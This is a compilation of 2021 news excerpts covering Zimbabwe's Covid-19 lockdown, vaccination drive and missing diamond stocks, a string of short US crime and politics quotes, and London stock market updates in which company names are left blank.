Universities and colleges also suspended face-to-face lectures in the wake of rising Covid-19 infections.

As of Monday, Zimbabwe, has now recorded 70 426 confirmed cases, 46 932 recoveries and 2 236 deaths.

Minister Mutsvangwa said the surge in cases has led to an increase in demand for beds, hence Government is expediting the full capacitation of isolation and treatment centres throughout the country.

In view of the increasing number of cases, Cabinet agrees that there should be enhanced enforcement of restrictions on the movement of people. His Excellency the President has already further extended the level four lockdown by another two weeks, she said.

Regarding resource mobilisation, the nation is informed that Treasury released an amount of $368,5 million to the Ministries of Home Affairs and Cultural Heritage; and Defence and War Veterans Affairs, with an additional $41 million to be released to the Ministry of Information, Publicity and Broadcasting Services.

Minister Mutsvangwa said the Vehicle Inspection Department and police have escalated enforcement of lockdown measures for public transport operations, including the banning of intercity travel.

Members of the public are encouraged to strictly adhere to the lockdown measures for their own safety. Cabinet noted with concern reports of alleged delays in the delivery of grain by farmers owing to demands for vaccination certificates and directed that farmer will not be required to produce vaccination certificates when delivering maize to the Grain Marketing Board, she said.

However, they will still be required to observe all the stipulated Covid-19 regulations.

Minister Mutsvangwa said vaccination is now open to everybody, with frontline personnel still being prioritised at vaccination centres.

A total of 1,5 million vaccine doses will be distributed this coming week.

The nation is informed that vaccination is now open to everybody, with frontline personnel still being prioritised at vaccination centres.

Cabinet is pleased to note that citizens across the country continue to present themselves for vaccination in large numbers, she said. Minister Mutsvangwa said in order to minimise the time spent in queues, extra personnel from security and defence forces have been harnessed so as to increase the numbers of personnel at vaccination centres.

Furthermore, the Ministry of Health and Child Care, working with relevant Government departments, is taking measures to ensure that vaccination, rapid response and case management teams are supported with vehicles, fuel and subsistence allowance to ensure that the country achieves herd immunity, she said.

Minister Mutsvangwa said the Ministry of Health and Child Care has printed adequate stocks of vaccinations cards with security features and is expediting the distribution process to all provinces. She said Sinopharm and Sinovac Covid-19 vaccines are now available on the COVAX platform and Government will take advantage of the African Union facility to boost local supplies of the vaccines. Herald
ABOUT 350 000 diamond carats worth US$140 million vanished last year from the vaults of the countrys minerals marketing body, the Minerals Marketing Corporation of Zimbabwe (MMCZ) as well as State-controlled gem mining company, the Zimbabwe Consolidated Diamond Company (ZCDC).

According to a report by Auditor-General Mildred Chiri, the diamonds remain unaccounted for up to now. Normally, the countrys gems net between US$400 and US$12 000 per carat at auctions.

Chiris report, which exposed malfeasance at local authorities, parastatals and government departments, could be a tip of the iceberg that probably corroborate late former President Robert Mugabes claim that diamonds worth $15 billion were nicked by top government officials during his tenure.

However, senior government officials rubbished Mugabes claim as something that just came out of his head without evidence as he was senile.

Chiris 2019 explosive report on ZMDC and MMCZ noted lax accounting for diamond stocks, a deliberate move which she said officials left unchecked so as to exploit the situation.

Some of the missing diamonds were sold for a song in Zimbabwean dollars to local buyers, who smuggled them outside the country and sold them at higher prices in foreign currency, the report said.

In 2019, 297 660,41 carats of diamond stock held at MMCZ was not counted at the time of the stock count. These parcels were packed for customers and held at MMCZ. However, at year-end, during the stock count, these stocks were not included in closing inventories.

In 2018, 41 699,85 carats of diamond stocks held at MMCZ were excluded from the stock count. It was assumed at the time that these stocks had been sold to customers. An additional 13 222,85 carats were excluded from the final stock sheet in error, the report read in part.

Chiris report points to a well-choreographed looting syndicate after five carats, which could have fetched plus or minus US$2 000, held at the MMCZ vanished in December 2019 after a closed circuit television system malfunctioned.

The Parliamentary Portfolio Committee on Mines and Mining Development has taken up the issue and on Monday pledged to probe the diamond leakages.

Zimbabwe loses about US$1,5 billion million a year from mineral leakages. Newsday


COVID-19 vaccination centres in Bulawayo are overwhelmed as scores of residents continue to flock to local clinics to get inoculated under the ongoing mass vaccination programme which started on Monday.

Health personnel are failing to cope due to the pressure and yesterday some residents went back home without being vaccinated after being told to return the following day.

The exercise is largely targeting all adults above the age of 18 years. Since the first day of the exercise, people have been flooding the centres to get vaccinated. The designated sites include all 19 municipal clinics and central hospitals  Ingutsheni, Mpilo Central Hospital and the United Bulawayo Hospitals (UBH).

The metropolitan province is targeting to inoculate 400 000 residents to achieve herd immunity. The country received two million doses of Sinovac vaccines last Thursday from China which saw Bulawayo and Harare receiving 100 000 doses each while eight other provinces got 50 000 doses each.

Zimbabwes free and voluntary vaccination programme aims to reach 10 million citizens to achieve herd immunity.

Bulawayo city health director Dr Edwin Sibanda said they were vaccinating limited numbers per day due to manpower shortage.

We have a serious manpower shortage due to unfilled posts and the situation has been made worse because we have some nurses who have been infected by Covid-19. Others are on quarantine and we are struggling to manage and have since requested Government to assist by seconding uniformed forces, he said.

Dr Sibanda said so far 2 805 people have been vaccinated under the mass vaccination programme. He, however, said they were yet to know on whether the 100 000 doses they received would for people coming for both first and second doses.

In her post-Cabinet media briefing yesterday, Information, Publicity and Broadcasting Services Minister Monica Mutsvangwa said in order to minimise the time spent in queues, extra personnel from security and defence forces have been harnessed so as to increase the numbers of personnel at the vaccination centres.

A Chronicle news crew yesterday visited selected council clinics and observed people being turned away after exceeding the daily limit. In some cases, people could be seen standing in the queues.

At Emakhandeni Clinic, some were standing outside the gate after they told by health authorities that they had reached the daily limit. The situation was the same at Nkulumane, Tshabalala and Nketa clinics.

At Nketa Clinic they were serving people in batches with 20 residents being attended to at a given time.

At Pumula South Clinic, people were queuing since morning and by midday no one had attended to them. I came here in the morning at around 7AM and when they opened the gate, they only took 100 people and I was told to return tomorrow.

It seems there is lack of manpower to handle the pressure which is why they are taking a limited number, said Ms Nozipho Mguni of Emakhandeni. Ms Beauty Togarepi of Nketa urged health authorities to set up more centres.

Looking at the manner in which the vaccination process is being conducted, it seems there is a shortage of manpower. We need more centres because we have people some from as far as Mbundane, Rangemore and Emganwini coming to Nketa Clinic resulted in congestion, she said.

Ms Audrey Sibindwane said: We need more personnel to attend to us because as I speak, I woke up as early as 6AM and left my children alone. Some of the people here are on medication and they havent eaten anything since morning.

Ms Rose Mwalimu (74) of Pumula South said since Monday she has been going to the local clinic hoping to get vaccinated.

They should establish more centres for vaccination. Can you imagine that some of us have since Monday been waking up as early as 5am and in the process risking being mugged? Today, they told me that they were only serving 100 people, which means I will to come back tomorrow, she said.

Mr Earnest Nyoni queues were exposing people to the virus. If we continue congesting these health facilities, people will be exposing themselves to the virus. We have a lot of people who are unemployed that can be engaged to assist during the programme, he said.

A senior citizen Mr Matson Mashura said due to their vulnerability, the elderly should be given first priority. The elderly persons are kept waiting the whole day in the queue. If it is possible, they should create separate queues for them. I actually took an off day to get vaccinated but it turned out to be a wasted day, he said.

Last week the city rolled out a vaccination exercise targeting 15 000 informal traders within 10 days and vaccinated more than 7 000 vendors in four days.

As of Monday, a total of 30 332 people received their first jab yesterday and 10 139 their second. The seven-day rolling average for new cases rose to 2 058 yesterday from 1 898.

Bulawayo Provincial Affairs and Devolution Minister Judith Ncube attributed the delays to manpower shortages.

Clinics have manpower shortage because we still need to need to balance the equation by having medical staff attending to patients while others will be conducting vaccinations, she said. Chronicle
We have seen pretty much an entire takeover of the delta variant for our transmission, Dobbs said during a recent press briefing, adding that while hospitals systems are not yet overwhelmed, here are concerns about it going forward, as has been seen in other states.
She added that the plaintiffs were not requesting an all-out cancellation of their removal from the hotels but a pause while DHS better organizes its process so that people arent forced from their living quarters of a year in 10 minutes.
The plan, the mayor said, was to shift as many officers as necessary to address the situation. And well also deal very aggressively with any illegal vending, any other problems that are happening in the area. That is the thing we have to do urgently at this point to keep Times Square safe and move our city forward.
This is the first time in my life Ive said thank you to the police. I said that to the FBI. I wanted to hug every single officer in the FBI, she said. Im thankful to the FBI. Im expecting the Biden Administration to support us.
I asked him, Please dont do that. Theres a baby right here, recalled the woman, who was talking to a friend with two children inside their car when she saw the gun. He scooted up a little bit, Like Ill move out of your way, but I aint gonna stop. ... And I got down on the floor and started saying my little prayers.
Cops at the scene found a knife in a makeshift sheath lying by a window in an outside dining area but it was not immediately clear if the knife was used in the stabbing.
I feel terrible for the victim and terrible for any one who had to see that and the driver as well. Its a tragic, tragic thing, she said.
Rivera was expected to receive sentence of life in prison without parole, but he is now claiming at least two people can corroborate his claims suggesting the real killer confessed on different occasions that he and a sex trafficker fatally stabbed the University of Iowa student. Rivera testified during his trial in May that he was abducted by two masked men, who forced him to assist in the murder before dumping Tibbetts body in his trunk.
Woodcock did not announce a date for the ban, which health officials first considered in 2018, before pulling back. Such an action would likely face legal challenges from cigarette companies. The American Medical Association joined the African American Tobacco Control Leadership Council in a September 2020 lawsuit against the FDA, urging the federal agency to fulfill its mandate to take action on FDAs own conclusions that it would benefit the public health to add menthol to the list of prohibited characterizing flavors and therefore ban it from sale.
The COVID-19 pandemic created a devastating collision of health crises in America, Volkow said in a statement. This has been an incredibly uncertain and stressful time for many people, and we are seeing an increase in drug consumption, difficulty in accessing lifesaving treatments for substance use disorders, and a tragic rise in overdose deaths.
We were called out to help this guy find his way back out of a house in Dalton Monday night. As you can tell, he was pretty embarrassed about it, but its really nothing to be ashamed of. We all need a helping hand every now and then.
Police were responding to a report of shots fired in Stricklands neighborhood around 2:15 a.m. when they found the gunshot victim lying next to a home, authorities said. The boy had two gunshot wounds to the chest and another to one of his arms, according to police.
Moran went on numerous blogs and kept sharing graphic messages and asking moms to submit photos of their children engaging in sexually explicit conduct. In a 2017 comment about a childs picture, the perv said that 7 is the perfect age to get her one of these for her birthday and added an Amazon link for a vibrating sex toy, according to the complaint.
Police have said Hogan volunteered to baptize children in the canal the day before her daughters bodies were found in it, according to others in the neighborhood.
This follows a June 19 New York Times report that it had purchased more than 5-feet of Subway tuna sandwiches to be tested at an undisclosed lab in California that failed to find amplifiable tuna DNA in the samples it examined, citing a couple possible reasons  either its so heavily processed no tuna could be detected or theres just nothing there thats tuna.
The sea-view condo development was built in 1981 in the southeast corner of Surfside, a town of about 6,000 located just outside Miami Beach. It had a few two-bedroom units currently on the market, with asking prices of $600,000 to $700,000. The tower boasts a mix of seasonal and year-round residents, and while the building keeps a log of guests staying, it does not keep track of when owners are in residence.
LAPD officer James Takishita told said it was not yet clear why the deceased man, who was described as in his 20s, was under the street, but he may have been homeless and living there.
Our judges are not giving bail on cases where they are allowed to give bail. Theyre refusing to use Kendras Law on mental health issues, he said, referring to the law that allows courts to order mental health treatment in certain cases. We have thrown up our hands, and we have surrendered our city. Its time for us to ensure our city is for the working class, everyday people who are following the laws and saying that government is going to make sure we protect them.
We have cases, yes, but in the hundreds, not the thousands, he said during a news briefing Wednesday. There are days we lose our fellow New Yorkers and even a single life is one life too many to lose, but there are days when no one passes away in New York City from COVID. Weve still got a lot more to do, but what a distance weve traveled.
Either Sliwas beret is on too tight or hes lying on purpose, Thies said. Eric wore a bulletproof vest and defended New Yorkers from violence on the streets as a police officer, and he has been the leading voice for immediate interventions to stop gun and gang violence, including a plainclothes gun unit and more officers on patrol in addition to measures known to prevent violence like resources and jobs programs. This is just utter nonsense.
Afghan women and girls are going to suffer unspeakable harm, Bush said. Theyre just going to be left behind to be slaughtered by these very brutal people, and it breaks my heart.
The states are supposed to be our laboratory for democracy, and by all accounts, these experiments have been a success, Schumer said on the floor of the Senate on Wednesday morning, shortly before he joined Booker and Wyden in a news conference to announce the legislation. Now is the time for Congress to engage in this debate, update our federal laws to not only reflect popular wisdom but science.
Rudd plays a groom-to-be with a serious lack of guy friends in the 2009 comedy I Love You, Man. He manages to rustle up a potential best man just in time for the wedding but their budding bromance sparks big problems with his bride-to-be.
Unfortunately, there are still far too many questions left unanswered, including who exactly and how many people are eligible for evacuation. ... How will those outside the capital access safety? said Vignarajah, whose group has helped resettle thousands of Afghans in the U.S. And to what countries will they be evacuated? We have serious concerns about the protection of our allies human rights in countries that have been rumored as potential partners in this effort.
The duo traced back 21 generations to da Vincis great-great-great grandfather Michele, starting in 1331 and going to the present. While da Vinci, who was born April 15, 1452, had no children of his own, he did have 22 half-siblings. Vezzosi and Sabato examined historical documents to create a family tree through da Vincis father Ser Piero and half brother Domenico.
Having ID is always essential, and during COVID, getting a New York State-issued drivers license or even a non-driver state ID has been very hard and remains hard, with long backlogs and a scarcity of appointments. U.S. passports are likewise taking months to process. IDNYC was no different. The issuance of new cards was stopped from March 2020 until September. Since the September resumption, there has only been a trickle, with 13,508 brand new cardholders in the past nine months. Compare that to the three months before COVID, when there were 25,654 new cards printed.
Here is where Trump comes in. We learned of his indifference to civil disorder from his reported delight inside the White House as news of the Jan. 6 Capitol riot unfolded. In his Fox News interview, he reminded us. Surely his lawyers would have told him that his pro-insurrection statements could be used against him were he indicted for asking Brad Raffensperger, Georgias secretary of state, to find the votes to overturn the states election. So why does Trump repeat the same statements?
The two 16-year-old alleged victims said Hutchinson took them to his house in Laguna Beach, about 40 miles south of Los Angeles, earlier this year. Hutchinson is accused of raping one girl while she was unconscious at his home. Police said she refused to go on a second California trip with Hutchinson, so instead he brought the second girl and allegedly assaulted her.
Zerail Rivera, who went by the name Indian Red Boy, was murdered in his vehicle around 4 p.m. Thursday by an unidentified assailant who walked up and opened fire in the 14100 block of Chadron Avenue in Hawthorne, the official confirmed to the Daily News.
Its not venting, its making a record, Uche said. You dont get to put words in my mouth, Im not venting  excuse me, excuse me your honor, Im going to finish my statement  you have to allow us to talk, were not kids.
First of all, I want to say you ladies have been so welcoming to me, OConnell said. I mean, I came here as a guest months ago, and just from the moment I walked in, youre just gracious, youre kind, youre fun, and it worked. And here we are. Were going to have a lot of fun, we really are.
I knew when I agreed to represent Joe that an appeal would be difficult, but I also knew that the law was on Joes side, he told the Daily News. I am optimistic that the decision today is but one of many more victories to come for Joe  and his eventual freedom.
I would rather do more inspections if it gives us results wed like to get  that is to insure fewer properties and only take the ones required by law, Beruff said. Later, he said he wanted to give Citizens ammunition to get us out of hundreds of thousands of policies.
Orlando is considering a broader use of the treatment, with a proposal on the table for a 2.2-square-mile area around the interchange of I-4 and the 408 Expressway. We thought if ever there was going to be sources of pollution ... wed probably get our biggest bang for the buck there, Howard said.
Globally, experts are watching closely to determine if and when people might need another shot. At the same time, many suggest the priority for the time being should be vaccinations, noting that worrisome coronavirus mutants wouldnt be popping up so fast if more of the U.S. and the rest of the world had gotten the initial round of shots.
HCA Healthcare North Florida Division is committed to delivering compassionate, patient-centered care and supporting our dedicated colleagues as they care for our communities  these priorities will always be our focus, wrote an HCA official. We are pleased that an agreement has been ratified with the union for the Central Florida hospitals that the contract covers and we are glad to move forward now that the negotiation process is complete.
The only thing I ask is that Cuba becomes free, so that I, at the age I am, can go to Cuba to see my dead, to visit them at their tombs, she said in Spanish. ... My heart asked me to come here to meet with everyone and be together with my people.
At the time of his death, law enforcement found Nance had several bruises and his face was swollen with signs of trauma, the affidavit stated. It said Dotson told authorities that she had gone to work and left Nance in Manns care. Manns then called her and told her that Nance was dead or likely dead after drowning, according to the WESH report.
Many speakers urged the board to abandon what they called unfair and even unconstitutional mask rules, saying wearing face masks hurt their childrens health and harmed their ability to learn and socialize. Many of those speakers said they didnt think COVID-19 was much of a threat to their children.
By 11:16 a.m., three minutes later, the school sent another alert saying the previous one was sent in error: Unintentional Activation of the FAU Alert system, it said, in part. Please disregard any F.A.U Alert messages received at 11:14 a.m. on 07-14-2021. F.A.U apologizes for any inconvenience that this may have caused. Return to normal business.
What is believed to be credible is that police as well as the Sun Sentinel have been told that the night before the bodies of Destiny and Daysha surfaced in the canal, someone claims to have seen Hogan swimming in the canal while holding a Bible. That woman said Hogan swam over to her and offered to baptize her children. The offer was declined.
Though approved unanimously, school board member Jon Arguello said he opposed the stipulation that the school district has no legal authority to compel law enforcement to comply with the items mentioned in the resolution. He said it should say the legality is unclear. He pointed to the agencies preference to look at an eventual guardian program in Osceola, and additionally requested school district counsel Frank Kruppenbacher seek an opinion from the Florida Attorney Generals Office.
Protests broke out across the United States after George Zimmerman was found not guilty of second degree murder for the shooting of Trayvon Martin, a Black teenager, in Sanford, Florida. The protests were part of the birth of the Black Lives Matter movement.

[Pictured: People demonstrate in Washington on July 20, 2013, following acquittal of George Zimmerman in the shooting death of unarmed black teenager Trayvon Martin.]

(NICHOLAS KAMM/AFP via Getty Images)
During the same week the Casey Anthony trial was taking place in downtown Orlando, something unnoticed was taking place in another courtroom across town. There were no follow-up articles for this courtroom drama, because there had been little coverage of it 10 years ago, even though it had much more public significance. That it went unreported says much about our culture and the media that helps to shape it.
The July 13 headline Vaccinations lag where Trump support is high is unnecessarily political and fails to consider the issue of race. That elephant in the room is reflected in the fact that 66% of African-Americans and 61% of Hispanics have refused or failed to take advantage of vaccinations, as of July 6, compared with 53% of whites. Regardless of the voting records of Trump supporters, more attention needs to be given to immunizing these two large segments of the population for COVID vaccination that is readily available at no cost.
These necessary adjustments reflect the efforts of the Florida Legislature to return Citizens to its role as a residual insurance company, Citizens Chairman Carlos Beruff said in a press release following Wednesdays action. Unfortunately, we have become the first choice, or only choice, in too many regions of the state.
Oswego, NY (13126)

Today

A few clouds. Slight chance of a rain shower. Low 64F. Winds light and variable..

Tonight

A few clouds. Slight chance of a rain shower. Low 64F. Winds light and variable.
Addis Ababa, Ethiopia (PANA) - Ethiopia has rejected the resolution by the European Union (EU) on the situation of human rights in Tigray region adopted at the 47th Session of the United Nations Human Rights Council, describing it as "politically motivated"
News and commentary on organized crime, street crime, white collar crime, cyber crime, sex crime, crime fiction, crime prevention, espionage and terrorism.
(LON:BSE, ASX:BSE) is boosted by comments made at a conference by a government official who said an extension to the Kwale Special Mining Lease (SML 23) has been approved.

The licence will be issued soon according to the comments by the Cabinet Secretary for the Ministry of Petroleum and Mining at a Kenyan Chamber of Mines conference, Base said in a statement.

The company added that it looks forward to shortly finalising the form of Deed of Variation that will give effect to the proposed extension, at which time a further update will be provided to the market.

It is expected that SML23 will incorporate the additional Kwale South Dune Mineral Resources that currently fall outside the licence footprint.
In the latest update, it told investors revenues, with an 8% rise to 84.3mln for the 12 months to June 30, would beat forecasts

( ) fleshed out Junes trading statement in which it said operating profit would be well ahead of expectations.

In the latest update, it told investors revenues would also beat forecasts. They are set to grow 8% to 84.3mln for the 12 months to June 30.

Expenses, meanwhile, have been significantly lower than anticipated, largely due to the Coronavirus (COVID-19) pandemic, while the group, which develops inoculations for common allergies, hit a record 40.3mln of cash by the period-end.

In the latest release, the market was told that results from VLP peanut biomarker study would be reported at some point in the third quarter.

The Grass MATA MPL programme, meanwhile, is due for read-out in the second half with the exploratory field study treatment phase complete.

Finally, the company hailed the launch in Germany and Austria of its ImmunoBON, which reduces allergic reactions for people who live close to farm livestock.

It said the latest data supports its use as a treatment for birch and house dust mite allergies which means the treatment could potentially be used across a broader patient population.
A look at some of the main risers and fallers in London on Wednesday

The London Stock Exchange still has plenty of attractions for companies of all sizes

( ) got the traditional response from market makers after it issued new equity; the shares were marked down, by 9.3% to 6.125p.

Hot on the heels of yesterdays results of metallurgical test work, the company has gone with the old one-two punch of good news/fundraising and bashed out 3.93mln shares at 6p a pop to raise 235,000.

The dosh will be used to advance the development of the Orom-Cross Project and the pre-feasibility study that is due to commence following confirmation of the updated JORC resource, expected towards the end of the third quarter.

2.50pm: Substitution at Guild Esports

Carleton Curtis has made the personal decision to step down as executive chair of Guild Esports ( ), sending the shares tumbling 8.8% to 7.35p.

Derek Lew, currently a non-executive director, has been appointed non-executive chair and will lead the board's oversight of the executive management team and direct the company's strategy. Kal Hourd remains as chief executive officer.

Lew has 25 years' capital markets experience in North America and the UK and is an active esports investor.

1.55pm: Warm wlecome for two new listings

Two newly listed companies, (LON:SSIT) and ( ), have both received a warm welcome from investors in their first day's dealings.

Seraphim, which calls itself the worlds first space tech investment fund, saw its shares reach an orbit 3.5% higher than the issue price of 100p at which it raised almost 180mln from investors including Sir Richard Branson.

Chairman Will Whitehorn, former president of Virgin Galactic, said: Space is the final investment frontier but our team has boldly invested where virtually no one has invested before and proved that there are returns out there above the atmosphere.

It could be said that excitement around the burgeoning space sector is only surpassed in the UK by interest in the property market, which is perhaps why LendInvest, which is focused on property finance, has done a bit better, with its shares up 9% to 202.5p.

In its IPO funding, LendInvest raised 40mln at 186p, which comes on top of another 500mln drummed up from the likes of JP Morgan, , Citigroup and National Australia Bank earlier in the year.

Chief executive Rod Lockhart said today: "The capital that we have raised through this IPO will enable us to accelerate our technology roadmap, expand into new areas of property finance, and attract new investors, brokers and borrowers to our platform."

With 35 new arrivals on London's junior market in the first half of 2021, more are still queuing up to list, including Congo and Zambia focused developer and explorer Central Copper Resources Limited, US lithium explorer Bradda Head Holdings Limited and capital-light drug developer .

12.58pm: Rurelec jolted to life

International power generation tiddler ( ) is the top riser on Wednesday afternoon, with its shares fizzing 35% higher to 0.675p.

This was on the back of the company saying it has now received a further payment US$480,000 from joint venture Patagonia Energy (PEL), of which Rurelec is a majority owner, though repayment of some loan notes.

Since November 2019, when the loan notes were issued, PEL has received repayments from Argentinian powerplant Energia del Sur of US$4.4mln and to date made repayments to Rurelec of US$4.3mln.

There is a US$19.6mln outstanding balance on the loan notes and it has been agreed that Rurelec will get 80% of the next payment of US$0.7mln and then a 72% share of the balance.

The total amount owing to Rurelec is US $14.1mln, it said, but added there was no guarantee as to when any further loan repayments will be made and the AIM company's working capital position remains "under review pending the resolution of the Argentine spot energy tariffs for electricity".

11.58am: Tern flaps lower

( ) is the biggest faller in morning trading, after the internet-of-things investor completed a discounted fundraising.

The AIM-listed company completed a 4mln share issue priced at 18.8p per share, down from highs above 22p last month and a two-and-a-half-year high above 31p earlier in the year.

A retail offer via was completed overnight, raising a gross 1.99mln, adding to the subscription of a similar size.

Chief executive Al Sisto said Tern intends to use the proceeds "to maximise the value to our shareholders of our portfolio and I look forward to providing further updates in due course".

8.32am: 7digital Group lifted by contract extension

7digital Group PLC ( ) was one of the bright spots in early trading, jumping 4.6% to 0.97p after the company said it has signed an extended contract into 2023 with a global technology company customer.

The digital music specialist said the customer will use its platform to access a world-wide music catalogue from rights-secured labels as well as tracking and reporting services.

Meanwhile, plastics specialist ( ) rose 12.3% to 21.3p after saying it has received approval from the US Food & Drug Administration (FDA) for its d2p antimicrobial food contact technology alongside much greater loading of the technology and the wider use of its original bread-packaging approval announced in February last year.

The AIM-listed firm said that the FDAs approval applies to all types of polyolefin and polyester film for wrapping bread, instead of just linear low-density polythene (LLDPE),. As a result, it expects an acceleration of the commercial process in the near term.

Also on the rise was ( ), which climbed 1.5% to 16.7p after it passed a significant commercial milestone with the shipment of its first medicinal cannabis cartridges to the UK, as set down in its IPO prospectus in January.

The cartridges will be sold by the LYPHE Group's clinics and dispensaries to be used with Kanabos VapePod device.

Proactive news headlines

( ) has won two new lines of business. Through its Breda office in the Netherlands it has landed a 900,000 contract for clinical trial services with an unnamed existing client which it describes as a world leader in vaccine and antiviral testing. And in a separate announcement, it said the government is expanding a COVID-19 characterisation study with the recruitment of a further 20 healthy volunteers to answer further questions that can help in the fight against the virus.

Recently listed ( ) said it is making progress in line with expectations outlined at the time of its flotation in early June.

(LON:BSE, ASX:BSE) is boosted by comments made at a conference by a government official who said an extension to the Kwale Special Mining Lease (SML 23) has been approved.

s ( ) chairman has hailed the dawn of a new age into the 2020s as the company continued to advance a strategy that he said will allow it to pay dividends over the long term.

Alien Metals Limited ( ) said its planned drilling programme at the Donovan 2 copper-gold project in Mexico remains little changed after reviewing new data.

( ) said Carleton Curtis has made the personal decision to step down as executive chair and following discussions with the board has left the company.

( ) is on course to deliver record revenues after it received new contracts and repeat orders across all of its target segments.

(LON:88E, ASX:88E, OTC:EEENF) told investors that further geochemical analysis of core samples from the Merlin-1 have again shown the presence of hydrocarbons.

( ) said logging and analysis confirmed some 300 feet of net oil bearing reservoir sands in the Saffron-2 well in Trinidad and it is now being prepared for a production test later this month.

Seeing Machines Limited ( ) said trading of its shares in London has moved to the Stock Exchange Electronic Trading System (SETS). Previously, the shares were trading from SETSqx, the exchanges quotes and crosses trading platform.

( ) said joint administrators continue to work with the board and a potential funder with a view to determining whether there is a potentially viable financial proposal which could be proposed to creditors, and if relevant to shareholders. As the administrators will be issuing their report and proposals to creditors shortly, its delayed general meeting has been further adjourned to 10 August.

(LON:APF, ) announced that it received notification that chief executive Julian Treger's Kings Chapel International vehicle sold 100,000 ordinary shares at an average price of 140.12p per share, reducing his stake to 79% of its pre-existing level, or 1.77% of the company's ordinary share capital.

Bidstack Group Plc ( ) said shareholders are still strongly advised to complete proxy forms ahead of its general meeting on 19 July, with attendance strictly limited to those shareholders whose names appear in the register of members at the close of business on 16 July and who have an NHS COVID pass.


The retailer said it would increase investment levels in the current fiscal year. Investors will have to wait until September to find out full details of the investment plan

( ) saw its shares slide 3.2% to 1,393p despite the retailer saying full-year profit would be slightly ahead of analysts forecasts.

The homewares retailer said total sales in the 13 weeks to 26 June were up 101.7% year-on-year to 380.1mln. In recognition that the year ago period was during the first UK lockdown, the company gave a comparison with the same period of 2019, and compared to this sales were up 43.9% on what is the final quarter of the retailers fiscal year.

Full-year sales of 1,336.2mln were up 26.3% year-on-year and up 21.4% on the same period of 2019.

Digital sales represented 46% of total sales during the year, up 19 percentage points on the previous year and 26 percentage points on two years ago.

For the full year, the gross margin improved by 1.3 percentage points (130 basis points), reflecting the timing of its summer sale and a lower level of discounting throughout the year.

Full-year pre-tax profit is expected to be in the region of 158mln; the consensus forecast prior to todays announcement was for profit of 150mln.

The shares fell however as the company said it would increase investment levels in the current fiscal year. Investors were informed that a detailed update of the investment plans would be provided in its full-year results statement, due out in September.

"Although our stores were closed for more than a third of the year, our strategy of investing in our digital capabilities allowed us to adapt to the changing environment and deliver strong growth, said Nick Wilkinson, the chief executive officer of Dunelm.

"From what we have learned during the pandemic about our customers, colleagues, suppliers and our other stakeholders, we are more confident than ever about the opportunity to increase our market leadership and we will invest further in our proposition to support our growth ambitions.

"With many exciting developments in the pipeline to make us the first choice for home, and grow our customer base and frequency, there is a lot to look forward to, he added.
Supply@ME Capital PLC (LON:SYME) offers an innovative technology platform to provide inventory monetisation, which can enable a wide range of manufacturing and trading businesses to improve their working capital position (via a true sale of the inventory to special purpose vehicles) and also provides a new asset class to investors. Supply@ME has a deep pipeline of inventory to be purchased from client companies  some 2.2bn equivalent of inventory to be monetised. During the remainder of 2021, Supply@ME intends to undertake monetisation strategies via the following routes: Supply@ME has entered into a term sheet with an Italian Banking Group to acquire 10% of the capital of a fintech licensed bank, with the option to acquire an additional 10% within the following two years. This direct investment will be aimed at having both a multi-annual funding plan and a client company origination alliance and will allow Supply@ME to start immediately arranging of the first inventory monetisation transactions in Italy. Details of this deal are were announced on 29 June 2021.

The company has also agreed an exclusivity agreement with a global investment fund that will become the first external inventory funder for the Supply@ME inventory securitisation programme with reference to UK and UK common law client companies;

Further tranches of inventory securitisation notes will be offered to the open market, including via a Shariah platform; and

By virtue of the agreement with the Italian Banking Group, the company will accelerate the completion of self-funding agreements with other banks, which may co-operate closely with the fintech licensed bank In addition to its pipeline of inventory monetisations, Supply@ME has a second revenue source coming on stream through its acquisition of TradeFlow Capital Management, which specialises in commodity trade finance, using a non-credit approach for inventory in-transit transactions, akin to Supply@MEs current platform offering for warehoused goods. This acquisition will provide the enlarged Supply@ME group exposure to an expanded international customer base, and a range of deal synergies, including with reference to funding options. The deal completed on 6 July 6 2021.
The traffic/employment legislation dodgers reckons they could gobble up 50% of the grocery market

The threat to incumbents in the grocery market, such as ( ) from so-called ultra-fast grocery delivery newcomers, is much more serious than JPMorgan previously thought.

The broker has been pontificating on the threat the likes of Getir, Gorillas, Weezy et al pose to bricks & mortar operators and even technology star ( ) after talking to the head honchos of a number of these upstarts.

"Overall, we feel even more assured of our view that: 1) major changes are about to come in regards to consumer grocery shopping patterns; 2) ultrafast delivery is a scale game and the unit economics for the new players do work and can achieve 10-15%+ contribution margin long term with operations also being successful in less urban areas and 3) ultrafast online grocery could become the third significant disruption for grocers since 2008."

Following up from other recent pronouncements on this emerging sub-sector, the broker noted that many of the companies have ambitious plans for nationwide rollouts, with Gorillas, for instance, seeing the potential for 5,000 warehouses in the UK alone, which compares to Tescos/Sainsburys 1,900/800 convenience stores in the UK.

All of the upstarts envisage meaningful market share gains over the incumbent grocers with some players dreaming of the insurgents gobbling up 50% of the grocery market, which in the UK alone is valued at 200bn.

The new operators, with their controversial employment practices, are believed to be enjoying margins up to four times higher than most bricks & mortar operators, despite a low degree of buying power, own label or advertising, JPM observed.

Meanwhile, the analysts at held a conflab with Similar Web, which provides insights and estimates on web traffic and the news is mixed for Ocado.

Similar Web reckons Ocado gained around one percentage point in its share of the online grocery market in the second quarter but site visits were little changed quarter-on-quarter.

Furthermore, site visits to Ocado Zoom, Ocados service that attempts to deliver groceries in a jiffy (thats a measurement of time, not a padded envelope), were down 7% quarter-on-quarter in the second quarter.

Over the same period, Gorillas (+183%), Getir (+409%) and Weezy (+33%) saw impressive growth in site visits.

I-grocery competitors continue to see rapid growth ahead of Ocado Zoom, highlighting the challenges of scalability in automation, said, as it nudged its target price for Ocado up to 1,550p from 1,500p to reflect a stronger-than-expected first half of the year and the more favourable outlook for the rest of the year for its retail joint venture.

Despite the price target hike, expects Ocado shares will underperform the sector over the next 12 months.

Ocado shares currently trade at 1,900p.

The ultra-fast delivery insurgents are following a similar model to the likes of NV ( ), which Credit Suisse thinks is winning its battle against fellow traffic/employment legislation dodgers Deliveroo and Uber Eats.

The Swiss bank expects Just Eat Takeaway shares to outperform after visits to its UK web site accelerated by 9.5% in the second quarter, putting it ahead of ( )  up 6.7% - and Uber Eats (+5.6%).

Similar Webs data suggests Just Eat has been growing share throughout 2021 in the fast food delivery market.

Visits were up by around a third year-on-year in the first 10 days of July, so the trends look promising, while the company continues to attract the higest number of new users; Just Eat added an estimate 450,000 or so in June versus an estimated 400,000 for Deliveroo and 350,000 for Uber Eats.

Just Eat has best-in-class returning behaviour, Credit Suisse believes, with roughly 76% of its orders being from repeat customers  must have been the radishes in the doner kebab  compared to around 70% each from Deliveroo and Uber Eats.

Credit Suisse has a price target of 11,000p, which currently trades at 6,491p.
